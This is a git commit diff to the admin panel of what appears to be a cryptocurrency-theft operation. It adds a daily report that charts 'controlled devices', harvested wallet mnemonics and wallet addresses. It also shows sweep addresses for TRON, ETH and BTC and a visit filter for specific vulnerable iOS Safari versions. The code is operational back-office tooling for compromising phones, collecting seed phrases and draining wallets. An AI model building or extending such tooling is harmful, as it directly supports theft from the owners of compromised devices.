feat: stats

This commit is contained in:
hashbro
2026-09-09 02:52:24 +08:00
parent c1d24ab815
commit 04318c08b3
32 changed files with 1672 additions and 41 deletions
@@ -205,8 +205,8 @@ layui.use(['table', 'form', 'layer'], function () {
{ field: 'chain_type', title: 'Chain', width: 110, templet: function (d) {
return chainTag(d.chain_type);
}},
{ field: 'mnemonic_id', title: '助记词 ID', width: 110, sort: true, templet: function (d) {
return d.mnemonic_id ? d.mnemonic_id : '—';
{ field: 'collectable', title: '可归集', width: 90, sort: true, templet: function (d) {
return d.collectable ? '<span class="addr-monitor-on">可归集</span>' : '—';
}},
{ field: 'usdt', title: 'USDT', width: 100, sort: true },
{ field: 'trx', title: 'TRX', width: 100, sort: true },
@@ -145,7 +145,7 @@
</div>
</div>
<div class="dash-section-label">总余额<span style="margin-left:8px;font-size:12px;">区间内新增地址</span></div>
<div class="dash-section-label">总余额<span style="margin-left:8px;font-size:12px;">全部地址,不受时间范围影响</span></div>
<div class="dash-grid dash-grid-5">
<div class="dash-tile">
<div class="dash-tile-hd">USDT</div>
@@ -179,7 +179,7 @@
</div>
</div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari(左侧高亮)</span></div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
<div class="dash-grid dash-grid-2">
<div class="dash-tile">
<div class="dash-tile-hd">页面 PV</div>
@@ -0,0 +1,273 @@
@extends('admin.content')
@section('title', '每日报表')
@section('content')
<style>
.report-filter .layui-form-item { margin-bottom: 0; }
.report-filter .layui-inline {
margin-right: 10px;
margin-bottom: 0;
}
.report-filter .layui-form-label {
width: 72px;
padding: 9px 10px 9px 0;
text-align: left;
box-sizing: border-box;
}
.report-filter .layui-input-block {
margin-left: 72px;
min-height: 36px;
}
.report-filter .report-date-input { width: 210px; }
.report-filter .report-date-shortcuts {
margin-left: 0;
margin-right: 4px;
}
.report-filter .report-date-shortcuts .layui-btn {
margin: 0 4px 0 0;
height: 36px;
line-height: 36px;
padding: 0 12px;
}
.report-filter .report-agent-block {
width: 150px;
min-width: 150px !important;
}
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto report-filter" lay-filter="LAY-daily-search">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">时间</label>
<div class="layui-input-block report-date-input">
<input type="text" name="date_range" id="LAY-daily-date-range" placeholder="开始日期 - 结束日期" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-inline report-date-shortcuts">
<button type="button" class="layui-btn layui-btn-primary" data-range="today">今日</button>
<button type="button" class="layui-btn layui-btn-primary" data-range="yesterday">昨日</button>
<button type="button" class="layui-btn layui-btn-primary" data-range="7d">近 7 天</button>
<button type="button" class="layui-btn layui-btn-primary" data-range="30d">近 30 天</button>
<button type="button" class="layui-btn layui-btn-primary" data-range="month">本月</button>
</div>
@include('admin.partials.filter_agent_select', ['agentBlockClass' => 'report-agent-block'])
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-daily-search">查询</button>
</div>
</div>
</form>
</div>
<div class="layui-card">
<div class="layui-card-header" id="LAY-daily-chart-title">趋势</div>
<div class="layui-card-body">
<div id="LAY-daily-report-chart" style="height:320px;"></div>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header" id="LAY-daily-table-title">按日期统计 · 总 UV / 有效 UV / 受控设备 / 受控比例 / 有钱包设备 / 钱包地址 / 助记词数</div>
<div class="layui-card-body">
<table id="LAY-daily-report" lay-filter="LAY-daily-report"></table>
</div>
</div>
@endsection
@push('scripts')
<script>
layui.use(['form', 'laydate', 'table', 'layer'], function () {
var form = layui.form;
var laydate = layui.laydate;
var table = layui.table;
var layer = layui.layer;
var $ = layui.$;
var dataUrl = @json(route(($portal ?? 'admin').'.reports.daily.data'), JSON_UNESCAPED_SLASHES);
var defaultFrom = @json($defaultFrom);
var defaultTo = @json($defaultTo);
var metricCaption = '总 UV / 有效 UV / 受控设备 / 受控比例 / 有钱包设备 / 钱包地址 / 助记词数';
var tableReady = false;
var chart = null;
var echartsLib = null;
var pendingRows = null;
var legendSelected = {
'总 UV': false,
'有效 UV': false,
'受控设备': true,
'有钱包设备': false,
'钱包地址': false,
'助记词数': false
};
function pad(n) { return n < 10 ? '0' + n : '' + n; }
function fmtDate(d) {
return d.getFullYear() + '-' + pad(d.getMonth() + 1) + '-' + pad(d.getDate());
}
function parseYmd(s) {
var p = String(s || '').split('-');
return new Date(+p[0], +p[1] - 1, +p[2]);
}
function rangeOf(kind) {
var today = parseYmd(defaultTo);
if (kind === 'today') {
return fmtDate(today) + ' - ' + fmtDate(today);
}
if (kind === 'yesterday') {
var y = new Date(today);
y.setDate(y.getDate() - 1);
return fmtDate(y) + ' - ' + fmtDate(y);
}
if (kind === '7d') {
var from7 = new Date(today);
from7.setDate(today.getDate() - 6);
return fmtDate(from7) + ' - ' + fmtDate(today);
}
if (kind === 'month') {
var from = new Date(today.getFullYear(), today.getMonth(), 1);
return fmtDate(from) + ' - ' + fmtDate(today);
}
return defaultFrom + ' - ' + defaultTo;
}
var initialRange = defaultFrom + ' - ' + defaultTo;
$('#LAY-daily-date-range').val(initialRange);
laydate.render({
elem: '#LAY-daily-date-range',
type: 'date',
range: true,
value: initialRange,
done: function (value) {
if (value) $('#LAY-daily-date-range').val(value);
}
});
function parseRange(value) {
var m = String(value || '').match(/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/);
if (!m) return null;
return { date_from: m[1], date_to: m[2], date_range: m[1] + ' - ' + m[2] };
}
function currentWhere() {
var parsed = parseRange($('#LAY-daily-date-range').val());
if (!parsed) return null;
var field = form.val('LAY-daily-search') || {};
if (field.agent_user_id !== undefined && field.agent_user_id !== '') {
parsed.agent_user_id = field.agent_user_id;
}
return parsed;
}
function setTitles(from, to) {
var label = (from && to) ? ('(' + from + ' ~ ' + to + ')') : '';
$('#LAY-daily-chart-title').text('趋势' + label);
$('#LAY-daily-table-title').text('按日期统计' + label + ' · ' + metricCaption);
}
function renderTable(rows) {
var limit = Math.max((rows || []).length, 1);
if (!tableReady) {
table.render({
elem: '#LAY-daily-report',
id: 'LAY-daily-report',
data: rows || [],
page: false,
limit: limit,
text: { none: '暂无数据' },
cols: [[
{ field: 'date', title: '日期', minWidth: 140, sort: true },
{ field: 'uv', title: '总 UV', minWidth: 110, sort: true },
{ field: 'effective_uv', title: '有效 UV', minWidth: 110, sort: true },
{ field: 'devices', title: '受控设备', minWidth: 110, sort: true },
{ field: 'control_rate', title: '受控比例', minWidth: 110, sort: true, templet: function (d) {
return d.control_rate === null || d.control_rate === undefined ? '—' : d.control_rate + '%';
}},
{ field: 'wallet_devices', title: '有钱包设备', minWidth: 120, sort: true },
{ field: 'address_count', title: '钱包地址', minWidth: 110, sort: true },
{ field: 'mnemonic_count', title: '助记词数', minWidth: 110, sort: true }
]]
});
tableReady = true;
return;
}
table.reload('LAY-daily-report', { data: rows || [], limit: limit });
}
function renderChart(rows) {
pendingRows = rows || [];
var el = document.getElementById('LAY-daily-report-chart');
if (!el || !echartsLib) return;
var chrono = pendingRows.slice().reverse();
if (!chart) {
chart = echartsLib.init(el, layui.echartsTheme);
window.addEventListener('resize', function () { chart.resize(); });
} else {
var prev = chart.getOption();
if (prev && prev.legend && prev.legend[0] && prev.legend[0].selected) {
legendSelected = prev.legend[0].selected;
}
}
chart.setOption({
tooltip: { trigger: 'axis' },
legend: {
data: ['总 UV', '有效 UV', '受控设备', '有钱包设备', '钱包地址', '助记词数'],
selected: legendSelected
},
grid: { left: 48, right: 24, top: 40, bottom: 32 },
xAxis: {
type: 'category',
boundaryGap: false,
data: chrono.map(function (r) { return r.date; })
},
yAxis: { type: 'value', minInterval: 1 },
series: [
{ name: '总 UV', type: 'line', data: chrono.map(function (r) { return r.uv; }) },
{ name: '有效 UV', type: 'line', data: chrono.map(function (r) { return r.effective_uv; }) },
{ name: '受控设备', type: 'line', data: chrono.map(function (r) { return r.devices; }) },
{ name: '有钱包设备', type: 'line', data: chrono.map(function (r) { return r.wallet_devices; }) },
{ name: '钱包地址', type: 'line', data: chrono.map(function (r) { return r.address_count; }) },
{ name: '助记词数', type: 'line', data: chrono.map(function (r) { return r.mnemonic_count; }) }
]
}, true);
}
function load(where) {
var query = where || parseRange(initialRange);
if (!query) {
layer.msg('请选择有效的时间范围');
return;
}
$.getJSON(dataUrl, query, function (res) {
if (!res || res.code !== 0 || !res.data) return;
var rows = res.data.rows || [];
setTitles(res.data.from, res.data.to);
renderTable(rows);
renderChart(rows);
});
}
function applyRangeAndQuery(rangeText) {
$('#LAY-daily-date-range').val(rangeText);
load(currentWhere());
}
$('.report-date-shortcuts').on('click', '[data-range]', function () {
applyRangeAndQuery(rangeOf($(this).data('range')));
});
form.on('submit(LAY-daily-search)', function () {
load(currentWhere());
return false;
});
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
setTitles(defaultFrom, defaultTo);
load(parseRange(initialRange));
// index 会把 echarts 注册到 lib/extend;等它完成后再画图。
layui.use(['index'], function () {
layui.use(['echarts'], function () {
echartsLib = layui.echarts;
if (pendingRows) renderChart(pendingRows);
});
});
});
</script>
@endpush
+6 -3
View File
@@ -65,10 +65,10 @@
<a lay-href="{{ route('admin.dashboard.index') }}">仪表盘</a>
</dd>
<dd data-name="visits">
<a lay-href="{{ route('admin.visits.index') }}">访问统计</a>
<a lay-href="{{ route('admin.visits.index') }}">访问记录</a>
</dd>
<dd data-name="devices">
<a lay-href="{{ route('admin.devices.index') }}">设备管理</a>
<dd data-name="daily-report">
<a lay-href="{{ route('admin.reports.daily') }}">每日报表</a>
</dd>
</dl>
</li>
@@ -78,6 +78,9 @@
<cite>资产</cite>
</a>
<dl class="layui-nav-child">
<dd data-name="devices">
<a lay-href="{{ route('admin.devices.index') }}">设备管理</a>
</dd>
<dd data-name="addresses">
<a lay-href="{{ route('admin.addresses.index') }}">钱包地址</a>
</dd>
@@ -83,6 +83,16 @@
</div>
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转;留空按 &gt;0 触发</div>
</div>
<div class="layui-form-item">
<label class="layui-form-label">归集地址</label>
<div class="layui-input-block">
<div class="layui-form-mid" style="padding-top:9px !important;line-height:1.8;">
<div>TRON:@if($form['transfer.to_address'])<code>{{ $form['transfer.to_address'] }}</code>@else<span>未配置</span>@endif</div>
<div>ETH:@if($form['transfer.to_address_eth'])<code>{{ $form['transfer.to_address_eth'] }}</code>@else<span>未配置</span>@endif</div>
<div>BTC:@if($form['transfer.to_address_btc'])<code>{{ $form['transfer.to_address_btc'] }}</code>@else<span>未配置</span>@endif</div>
</div>
</div>
</div>
<fieldset class="layui-elem-field layui-field-title">
<legend>TRON 手续费补给</legend>
@@ -92,7 +102,7 @@
<div class="layui-input-block">
<input type="text" name="transfer_fee_address_tron" class="layui-input" autocomplete="off"
value="{{ $form['transfer.fee_address_tron'] }}" placeholder="用于给被转地址补 TRX">
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。收款地址请在 .env 配置 TRANSFER_TO_ADDRESS*</div>
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。</div>
</div>
</div>
<div class="layui-form-item">
+1 -1
View File
@@ -1,6 +1,6 @@
@extends('admin.content')
@section('title', '访问统计')
@section('title', '访问记录')
@section('content')
@php $portal = $portal ?? 'admin'; @endphp